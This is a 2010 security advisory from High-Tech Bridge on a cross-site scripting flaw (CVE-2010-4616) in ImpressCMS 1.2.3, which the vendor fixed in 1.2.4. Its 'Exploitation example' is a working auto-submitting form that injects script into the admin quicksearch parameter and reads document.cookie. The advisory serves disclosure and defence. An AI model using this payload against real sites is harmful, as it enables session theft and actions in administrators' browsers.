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Cross-site Scripting (XSS) Vulnerability in ImpressCMS

Advisory ID:HTB22766
Product:ImpressCMS
Vendor:The ImpressCMS Project
Vulnerable Versions:1.2.3 Final and probably prior
Tested Version:1.2.3 Final
Advisory Publication:December 7, 2010 [without technical details]
Vendor Notification:December 7, 2010
Public Disclosure:December 21, 2010
Latest Update:December 21, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2010-4616
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in ImpressCMS which could be exploited to perform cross-site scripting attacks.


1) Cross-site scripting (XSS) vulnerability in ImpressCMS: CVE-2010-4616

The vulnerability exists due to input sanitation error in the "quicksearch_ContentContent" parameter in modules/content/admin/content.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim has access to administrative interface.

Exploitation example:

<form action="http://host/modules/content/admin/content.php" method="post" name="main">
<input type="hidden" name="quicksearch_ContentContent" value='search"><script>alert(document.cookie)</script>'>
<input type="hidden" name="button_quicksearch_ContentContent" value="Search">
<input type="hidden" name="filtersel" value="default">
<input type="hidden" name="limitsel" value="15">
</form>
<script>
document.main.submit();
</script>


Solution:
Upgrade to version 1.2.4.


ImmuniWeb® by High-Tech Bridge


References:
[1] High-Tech Bridge Advisory HTB22766 - https://www.htbridge.com/advisory/HTB22766 - Cross-site Scripting (XSS) Vulnerability in ImpressCMS
[2] ImpressCMS- impresscms.org - ImpressCMS is a community developed Content Management System for easily building and maintaining a dynamic web site.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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